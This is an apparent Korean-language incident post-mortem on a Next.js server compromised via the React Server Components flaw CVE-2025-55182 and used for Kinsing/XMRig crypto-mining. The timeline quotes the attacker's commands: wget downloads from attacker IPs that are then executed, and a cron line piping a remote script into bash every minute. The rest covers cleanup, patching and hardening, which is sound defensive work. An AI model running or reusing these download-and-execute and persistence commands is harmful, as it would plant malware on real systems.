우리는 해킹당했다: CVE-2025-55182가 우리 Next.js 앱을 암호화폐 채굴기로 만든 방법
Source: Dev.to
TL;DR
우리 Next.js 애플리케이션은 CVE‑2025‑55182가 공개된 지 이틀 만에 침해되었습니다. React Server Components의 중요한 원격 코드 실행 취약점으로 공격자가 암호화폐 채굴 악성코드를 배포했습니다. 전체 복구는 약 15 분 걸렸습니다.
The Call That Changed Everything
오전 8:30 – Slack 알림: “관리자 패널이 다운되었습니다. 게이트웨이 오류가 곳곳에 발생합니다.”
오전 8:32 – PM2 프로세스 목록에 반복적인 충돌이 표시됨:
│ 0 │ boss-backend │ waiting │ 8450 │ 0% │
백엔드가 8,450번 충돌했습니다.
Discovery: The Smoking Gun
충돌 로그를 조사하던 중 보안 모니터가 약 2 일 동안 감지되지 않았던 고CPU 프로세스를 표시했습니다:
WARNING: High CPU processes detected: /tmp/kdevtmpfsi 352%
WARNING: High CPU processes detected: /tmp/kdevtmpfsi 352%
WARNING: High CPU processes detected: /tmp/kdevtmpfsi 352%
kdevtmpfsi는 잘 알려진 암호화폐 채굴 악성코드 서명입니다. 우리 서버가 우리 모르게 암호화폐를 채굴하는 데 사용되고 있었습니다.
The Vulnerability: CVE‑2025‑55182
| Detail | Value |
|---|---|
| CVE ID | CVE‑2025‑55182 |
| Affected Component | React Server Components (RSC) |
| Affected Versions | Next.js 15.x (패치 전), React 19.0‑19.2 |
| Our Version | Next.js 15.5.0 ❌ |
| Attack Vector | 네트워크, 인증 필요 없음 |
| CVSS Score | 10.0 (Critical) |
Why It’s So Dangerous
이 결함은 서버와 클라이언트 간 직렬화/역직렬화를 담당하는 React Server Components “Flight” 프로토콜에 존재합니다. 불안전한 역직렬화로 공격자는 악의적인 HTTP 요청을 만들어 서버에서 임의 코드를 실행할 수 있습니다.
주요 특성
- 인증 필요 없음
- 기본 설정에서 동작
- 공개된 익스플로잇 존재
- 단일 요청만으로 충분
전통적인 경계 방어(방화벽, 속도 제한, Fail2ban)로는 이 애플리케이션‑레벨 취약점을 차단할 수 없습니다.
How We Got Pwned (Timeline)
December 5 2025
오후 12:30 – 첫 번째 공격 시도
wget http://45.76.155.14/vim -O /tmp/vim
chmod +x /tmp/vim
nohup /tmp/vim > /dev/null 2>&1
공격자는 “vim”으로 위장한 악성 바이너리를 다운로드하고 실행했습니다.
오후 1:50 – 두 번째 물결(봇넷 배포)
wget -q http://194.69.203.32:81/hiddenbink/react.sh -O bins.sh
chmod 777 bins.sh
./bins.sh
오후 5:01 – 페이로드 전달(Kinsing 암호화폐 채굴기)
wget http://193.34.213.150/nuts/lc -O /tmp/config.json
wget http://193.34.213.150/nuts/x -O /tmp/fghgf
December 6 2025
- ~자정 –
kdevtmpfsi가 생성돼 CPU 352 %(≈3.5코어)를 사용함. - 오후 7:04 – 공격자가 영구적인 cron 작업을 설치함.
December 8 2025
- 오전 5:33 – 시스템이 응답하지 않게 되고 조사 시작.
What the Attacker Actually Got
Installed Malware
- Kinsing (
/tmp/kinsing) – 드롭퍼/로더 - Kdevtmpfsi (
/tmp/kdevtmpfsi) – XMRig 기반 Monero 채굴기 - Libsystem.so (
/tmp/libsystem.so) –LD_PRELOAD루트킷(프로세스 은폐) - config.json (
/tmp/config.json) – 채굴 풀 설정 파일
Persistence Mechanisms
@reboot /usr/bin/.kworker react 20.193.135.188:443
* * * * * wget -q -O - http://80.64.16.241/re.sh | bash
두 번째 줄은 매분 실행돼 악성코드가 수동으로 삭제돼도 다시 복구됩니다.
What They Didn’t Get
- 데이터 유출 없음 – CPU 도난만 발생.
- 루트 권한 획득 실패 – 공격자는 사용자 수준 권한만 사용.
- 횡방향 이동 없음 – 공격은 이 단일 서버에만 국한됨.
How Our Security Failed Us
| Security Measure | Why It Failed |
|---|---|
| Fail2ban | 무차별 대입 공격에 맞춰져 있어 코드 삽입을 막지 못함. |
| UFW Firewall | 공격이 정당한 HTTPS(포트 443)로 들어옴. |
| Redis Auth | 공격이 Redis를 목표로 하지 않았고 HTTP를 사용함. |
| Security Monitor | kdevtmpfsi를 감지했지만 악성코드로 인식하지 못함. |
근본 원인: 주변 보안에 과도하게 의존하고 애플리케이션‑레벨 보호가 부족함.
Remediation (15 Minutes)
Step 1: Kill the Malware
sudo kill -9 $(pgrep -f kdevtmpfsi)
sudo kill -9 $(pgrep -f kinsing)
Step 2: Remove Persistence
# Clean crontab
echo "*/5 * * * * /path/to/legitimate-monitor.sh" | crontab -
# Remove malware files
sudo rm -f /tmp/kinsing /tmp/kdevtmpfsi /tmp/libsystem.so /tmp/config.json
Step 3: Patch the Application
cd apps/web
npm install next@15.5.7 react@19.0.1 react-dom@19.0.1
npm run build
pm2 restart boss-frontend
Step 4: Verify
npm list next
# ✓ next@15.5.7 (patched version confirmed)
총 소요 시간: 발견부터 완전 복구까지 약 15 분.
Lessons Learned
What Went Wrong
- 패치 지연 – CVE가 12월 3일 공개됐지만 12월 5일(2일 차) 공격당함.
- 탐지 미비 – 보안 모니터가 악성 프로세스를 플래그하지 못함.
- 외부 트래픽 모니터링 부재 – 채굴 풀로의 연결을 놓침.
- 과신 – 경계 보안만으로 충분하다고 가정함.
What Went Right
- 기존 모니터링 – PM2가 반복 충돌을 알려줌.
- 신속한 대응 – 몇 분 안에 완전 격리 성공.
- 피해 제한 – 자원 도난만 있었고 데이터 손실은 없음.
- 자동화 도구 – PM2와 npm이 복구를 빠르게 진행하도록 도움.
How to Protect Yourself
Immediate Actions (Do These Now)
버전 확인
npm list next
npm list react
npm list react-dom
Next.js 15.x, 16.x 또는 React 19.0‑19.2를 사용 중이라면 취약합니다.
패치된 버전으로 업데이트
npm install next@latest react@latest react-dom@latest
npm run build
- 보안 권고에 구독하세요.
- CI/CD 파이프라인에
npm audit를 추가하세요. - Dependabot, Snyk 등 자동 알림 도구를 활성화하세요.
- Vercel 보안 업데이트를 주시하세요.
Short‑Term Protections (This Week)
WAF 규칙 활성화
Cloudflare, AWS WAF, Vercel 등을 사용한다면 RSC 보호 규칙을 켜세요—CVE‑2025‑55182에 대한 방어 규칙이 이미 제공됩니다.
CI/CD에 의존성 스캔 추가
npm audit --audit-level=high
중대한 취약점이 발견되면 빌드를 실패하도록 설정합니다.
Long‑Term Improvements (This Month)
- 외부 연결 모니터링 – 비정상적인 아웃바운드 트래픽을 기록·알림. 채굴 풀은 보통 알려진 IP에 연결됩니다.
- CPU/메모리 이상 탐지 – 프로세스가 정상 사용량을 초과하면 알림을 트리거.
- 애플리케이션‑레벨 보안 테스트 도입 – React Server Components에 대한 퍼징 및 안전한 역직렬화 검사를 포함.
- 서드파티 라이브러리 정기 패치 – 버전 체크 자동화와 보안 패치 신속 적용을 구현.